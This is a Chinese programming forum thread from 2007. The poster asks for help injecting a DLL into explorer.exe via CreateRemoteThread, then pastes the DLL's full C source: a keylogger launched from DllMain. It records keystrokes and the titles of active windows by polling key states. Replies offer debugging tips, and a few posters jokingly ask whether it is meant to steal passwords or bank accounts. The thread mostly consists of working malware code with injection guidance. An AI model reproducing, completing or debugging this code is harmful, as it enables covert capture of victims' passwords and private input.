您的位置:程序门 -> vc/mfc -> 进程/线程/dll



急!!!请高手帮忙解决!


[收藏此页] [打印本页]选择字色:背景色:字体:[][][]


急!!!请高手帮忙解决!
发表于:2007-01-16 16:38:22 楼主
我想利用远程线程注入的技术,在explorer.exe中注入一个完成我自己需要的功能的远程线程.

在远程线程的创建的过程中我用的是createremotethread函数,注入的功能是以dll的方式.并且dll中存在一个函数是一个无限循环.

我现在已经可以创建远程线程,并且成功.但是在explorer.exe中的远程线程会使explorer.exe死掉.

无限循环是while(true){}

我也不知道其中的原因究竟是什么?
猜想是explorer.exe中个线程的缘故.
望高手能给予解答.万分的感谢!!!!
发表于:2007-01-16 21:40:131楼 得分:0
一定是你的hook代码有问题,paste   your   key   code   about   hooking.
发表于:2007-01-16 21:54:212楼 得分:0
在循环里sleep(1000);
发表于:2007-01-17 10:35:073楼 得分:0
sleep(1000)也不好使
我的dll代码如下,各位帮忙看一下,是一个键盘记录的程序
hwnd   previousfocus=null;
//   end   of   data

//   function   prototype   declaration
//----------------------------------------------------------------------
bool   iswindowsfocuschange();
bool   keylogger();
//----------------------------------------------------------------------
//   end   of   fucntion   prototype   declaration


bool   apientry   dllmain(   handle   hmodule,  
                                              dword     ul_reason_for_call,  
                                              lpvoid   lpreserved
  )
{
        if(ul_reason_for_call==dll_thread_attach)
        keylogger();       //   run   the   keylogger
        return   true;
}

//-------------------------------------------------------------------------
//   purpose:   to   check   the   active   windows   title
//   return   type:   boolean
//   parameters:   null
//-------------------------------------------------------------------------
bool   iswindowsfocuschange()
{
hwnd   hfocus   =   getforegroundwindow();       //   retrieve   the   active   windows 's   focus
bool   returnflag   =   false;       //   declare   the   return   flag
if   (hfocus   !=   previousfocus)       //   the   active   windows   has   change
{
previousfocus   =   hfocus;       //   save   the   old   active   windos   focus
int   winleng   =   getwindowtextlength(hfocus);       //   get   the   active   windows 's   caption 's   length
char   *windowcaption   =   (char*)   malloc(sizeof(char)   *   (winleng   +   2));       //   allocate   memory   for   the   caption
getwindowtext(hfocus,windowcaption,(winleng   +   1));       //   retrieve   the   active   windows 's   caption
if   (strlen(windowcaption)   >   0)       //   really   get   the   windows 's   caption
{
    printf( "\r\nthe   active   windows   title:   %s\r\n ",windowcaption);       //   display   the   active   windows 's   caption
    returnflag=true;       //   indicate   the   windows 's   focus   has   changed
}
free(windowcaption);       //   free   the   allocated   memory
}
return   returnflag;       //   return   the   flag
}//   end   of   iswindowsfocuschange   function

//-------------------------------------------------------------------------
//   purpose:   to   manage(display)the   keys   retrieved   from   system 's   key   buffer
//   return   type:   boolean
//   parameters:   null
//-------------------------------------------------------------------------
bool   keylogger()
{
int   bkstate[256]   =   {0};       //   declare   the   key   state   array
int   i,x;
char   keybuffer[600];       //   key   buffer   array
int   state;       //   variable   to   hode   state   of   some   special   key   like   capslock,shift   and   ect
int   shift;       //   variable   to   hode   state   of   shift   key

//   reset   the   buffer
memset(keybuffer,0,sizeof(keybuffer));
//看看这里的死循环是不是有什么问题
while(true)       //   forever   loop   is   taking   place   here
{
sleep(1000);       //   rest   for   a   while,and   avoid   taking   100%   cpu   usage.pretty   important   to   add   this   line   or   the   system   gets   fucked   up
if   (iswindowsfocuschange())       //check   the   active   windows   title
{
    if   (strlen(keybuffer)   !=   0)       //   keys   are   pressed
    {
        printf( "%s\r\n ",keybuffer);       //   display   the   keys   pressed
        memset(keybuffer,0,sizeof(keybuffer));       //   reset   the   buffer
    }
}

for(i=0;i <92;i++)       //   looping   to   check   visual   keys
{
    shift   =   getkeystate(vk_shift);       //   check   whether   shift   is   pressed
    x   =   specialkeys[   i   ];       //   match   the   key
    if   (getasynckeystate(x)   &   0x8000)       //   check   combination   keys
    {
        //   see   whether   capslocak   or   shift   is   pressed
        if   (((getkeystate(vk_capital)   !=   0)   &&   (shift   >   -1)   &&   (x   >   64)   &&   (x   <   91)))       //caps   lock   and   shift   is   not   pressed
        {
        bkstate[x]   =   1;       //uppercase   characters   a-z
        }
        else
        if   (((getkeystate(vk_capital)   !=   0)   &&   (shift   <   0)   &&   (x   >   64)   &&   (x   <   91)))       //caps   lock   and   shift   is   pressed
        {
            bkstate[x]   =   2;       //lowercase   a-z
        }
        else
            if   (shift   <   0)       //   shift   is   pressed
            {
                bkstate[x]   =   3;           //uppercase   characters   a-z
            }
            else
                bkstate[x]   =   4;       //lowercase   a-z
    }
    else
    {
        if   (bkstate[x]   !=   0)       //   no   combination   keys   detected
        {
        state   =   bkstate[x];       //   retrieve   the   current   state
        bkstate[x]   =   0;       //   reset   the   current   state
        if   (x   ==   8)       //   back   space   is   detected
        {
            keybuffer[strlen(keybuffer)   -   1]   =   0;       //   one   key   back   then
            continue;       //   start   a   new   loop
        }
        else
            if   (strlen(keybuffer)   >   550)       //   buffer   full
            {
                printf( "%s   <buffer   full> ",keybuffer);       //   display   the   keys   retrieved
                memset(keybuffer,0,sizeof(keybuffer));       //   reset   the   buffer
                continue;       //   start   a   new   loop
            }
            else
                if   (x   ==   13)       //   enter   is   detected
                {
                if   (strlen(keybuffer)   ==   0)       //   no   other   keys   retrieved   but   enter
                {
                    continue;       //   start   a   new   loop
                }
                printf( "%s <enter> \r\n ",keybuffer);       //   retrieve   other   keys   with   enter
                memset(keybuffer,0,sizeof(keybuffer));       //   display   the   keys   with   enter
                continue;       //   start   a   new   loop
                }
                else
                    if   ((state%2)   ==   1)       //must   be   upper   case   characters
                {
                    strcat(keybuffer,uppercase[   i   ]);       //   store   the   key   to   key   buffer
                }
                else
                        if   ((state%2)   ==   0)       //   must   be   lower   case   characters
                    {
                        strcat(keybuffer,lowercase[   i   ]);       //   store   the   key   to   key   buffer
                    }
        }
    }
}//   end   of   for   loop
}//   end   of   while   loop
return   true;       //   return   to   the   caller
}//   end   of   keylogger   function
//   end   of   file
发表于:2007-01-17 17:21:524楼 得分:0
这个程序,你拿来干什么?
发表于:2007-01-17 17:25:165楼 得分:0
不是要盗我的帐号密码吧?怕怕~~~~~~
发表于:2007-01-19 14:57:226楼 得分:0
这....难道就是传说中的网银大盗!??


快速检索

最新资讯
热门点击